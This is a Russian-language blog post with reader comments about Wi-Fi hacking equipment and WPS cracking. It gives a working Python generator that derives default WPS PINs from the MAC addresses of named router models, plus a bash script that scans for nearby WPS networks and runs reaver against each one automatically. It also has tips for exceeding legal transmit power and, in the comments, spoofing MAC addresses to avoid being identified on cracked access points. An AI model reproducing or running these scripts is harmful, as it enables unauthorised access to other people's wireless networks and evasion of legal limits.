Как мы знаем, эпоха халявного вайфая понемногу подходит к концу (или конец всё же отменили?), да и телегу лучше готовить заранее.
Вот я и решил обновить свой Wi-Fi арсенал и поделиться с вами новостями в сфере безопасности Wi-Fi сетей.
Железо
Аналоговый сниффер в довайфайную эпоху
На всё ввозимое в страну радиооборудование действуют жесткие нормы, и купить официально в России wi-fi карту мощнее 100 мВт не получиться. Поэтому большую популярность в нашей стране получили USB Wi-Fi карты тайваньской компании Alfa Networks по ряду причин:
- они свободно продаются на ebay и их легко ввести в страну в обход ограничений;
- USB карту можно подключить к виртуальной машине с Kali linux напрямую, обходя ограничения на работу с Wi-Fi в Windows (со встроенной картой такое не пройдёт);
- USB карта имеет гнездо для подключения внешней антенны;
- Мощность корейского вайфая может быть в 10 раз выше разрешенной в нашей стране;
- существуют "взломанные" драйвера под эти карты, позволяющие переводить карту в режим монитора (monitor mode), который нужен для перехвата/инжектирования вайфай пакетов;
- корейские карточки в несколько раз дешевле именитых аналогов.
Alfa AWUS036NHV с направленной антенной 7dBi APA-M04
Со времен первой карты AWUS036H прошло уже несколько лет. Модельный ряд альф значительно вырос, однако к новым картам нужно обязательно докупать огромный бубен, если вы хотите работать с ними в monitor mode. Поэтому фаворитом в деле вайфай хакинга даже сегодня остаётся Alfa AWUS036H (только 802.11 b/g и только 2.4Ггц :( ).
В центре антенна 9dBi ARS-N19 с магнитным основанием, позволяющим крепить её на крышу машины... или к холодильнику.
Таким образом качество приёма и количество видимых сетей определяется тремя вещами: картой (чипсетом), антенной и драйверами.
Программное обеспечение
Для меня оптимальным вариантом работы с картой является VMware образ Kali linux, который можно скачать с официального сайта. VMware позволяет подмонтировать USB карту к загруженной виртуальной машине и работать с ней без ограничений, накладываемых сетевым стэком Windows.
Для увеличения мощности карты стоит сразу переехать в Боливию!
iw reg set BO
Как мы знаем 2 года назад была найдена серьёзная дыра в технологии WPS, обеспечивающей быстрое подключение к Wi-Fi сети для блондинок с помощью пин-кода, указанного на наклейке роутера. Из-за уязвимости алгоритма подобрать нужный пин-код можно было за 10-15 часов с помощью брутфорса.
Часть производителей отреагировала на эту уязвимость и ввела задержку между неудачными попытками, сводящую на нет все усилия хакера. Обойти эту задержку иногда можно было с помощью рандомизации MAC адреса атакующего, но процесс взлома сети все равно затягивался на сутки.
Затем оказалось, что многие производители используют одинаковые пинкоды в своих маршрутизаторах либо очень похожие. И вот не так давно стало известно, что многие популярные модели роутеров (ZyXEL Keenetik, TRENDnet, D-Link DIR-620, HG532e, ASUS RT-G32 и др.) вычисляют пин код динамически, используя в качестве секрета... MAC адрес маршрутизатора!
Вот соответствующий python-код. Если погуглить WPSPIN.SH, то можно найти и аналогичный bash скрипт.
#!/usr/bin/env python
import sys, re
def pin_checksum(pin):
# WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
# http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
accum = 0
t = pin
while (t):
accum += 3 * (t % 10)
t /= 10
accum += t % 10
t /= 10
return '%07i%i' % (pin, (10 - accum % 10) % 10)
def gen_hexdec(mac_str):
return (int(mac_str[6:12], 16) % 10000000)
def main():
if len(sys.argv) != 2:
sys.exit('Usage: wpspin.py [BSSID]\n eg. wpspin.py 00:11:22:33:44:55\n')
mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
if len(mac_str) != 12:
sys.exit('check MAC format!\n')
print pin_checksum(gen_hexdec(mac_str))
if __name__ == "__main__":
main()
Логика работы алгоритма достаточно простая - берется "хвостик" от MAC адреса маршрутизатора и переводится из шестнадцатиричной системы в десятиричную (с учетом PIN Checksum). Это и есть пин-код!
Как показывает практика, уязвимые маршрутизаторы есть в каждом доме. Вопрос лишь в мощности вайфай карты.
Для удобства поиска доступных сетей я набросал вот такой скрипт.
#!/bin/bash
timeout -sHUP 5m wash -o wash.log -i wlan1mon
cat wash.log | tail -n+3 - | awk '{print substr($0,0,18)}' > macs.log
cat macs.log | xargs -n 1 python /root/wpspin.py > pins.log
cat "#!/bin/bash" > reaver.sh
chmod +x reaver.sh
paste -d" " macs.log pins.log | awk '{print "timeout -sHUP 20s reaver -i wlan1mon -b " $1 " -p " $2 " >>results.log"}' >>reaver.sh
./reaver.sh
Вначале он запускает на 5 минут поиск сетей WPS с помощью утилиты wash. Вывод wash парсится, и MAC адреса скармливаются python скрипту. Потом формируется и запускается фаил reaver.sh, который с таймаутом 20 секунд пробует каждую пару MAC+Pin и записывает результаты работы в фаил results.log. Таймауты по желанию можно увеличить.
Перед запуском скрипта необходимо поднять интерфейс wlan1mon (у вас может быть другое название) с помощью команды "airmon-zc start wlan1".
Выводы
Отключите WPS.
Что еще почитать?
[UPDATE] В некоторых маршрутизаторах D-link используется "продвинутый" способ вычисления WPS пинкода но по-прежнему на основе WAN MAC маршрутизатора. Скачать генератор можно тут.
Сама по себе команда
ОтветитьУдалить#iw reg set BO не повышает мощность передатчика. Следует ввести ещё
#set BO iwconfig wlan0 txpower 30
А так же я рекомендую, сделать фейковый мак адрес, мы же не хотим святиться на ломанной точке свои реальным маком, да ?
# macchanger -r wlan0
iwconfig wlan1 txpower 30
Удалитьошибка
Вот в kali 1.0.9 нужно только поменять страну. Максимально допустимую мощность драйвер поставит сам.
УдалитьСо сменой MACа тоже есть тонкости https://code.google.com/p/reaver-wps/wiki/HintsAndTips. Менять нужно и у физического интерфейса и в самом ривере флагом --mac.
Спасибо за советы :)
Наткнулся на такую особенность, если Ваша Кали (1.0.9) запускается с флешки - смена страны и повышение мощности передатчика не работают. Пробую обновиться, посмотрим, может дело в этом. На 1.0.7. всё работало (загрузка с НЖМД)
УдалитьСпасибо за статью. Kali 1.1.0a 64-bit ни в какую не хочет повышать мощность адаптера - ни при запуске с флэшки, ни после установки на жёсткий диск. Карта AWUS036H оригинальная, команды даю такие:
ОтветитьУдалитьroot@kali:~# iw reg set BO
root@kali:~# iwconfig wlan1 txpower 30
А всё-равно показывает Tx-Power=20 dBm
Не подскажете как полечить?
Опускаете устройство
ОтветитьУдалитьifconfig wlan1 down
Затем задаем регион
iw reg set BZ --(BO) давно не работает
Увеличиваем мощность
iwconfig wlan1 txpower 30
Далее поднимаем устройство
ifconfig wlan1 up
Сверяем
iwconfig
Alfa Tube UV чип RTL8188EU не переходит в монитор, пробовал все команды, а ни в какую. Можете ещё что посоветовать?
ОтветитьУдалитьУ самого есть такая карта. В свое время сделать ничего не смог и плюнул на нее..
Удалить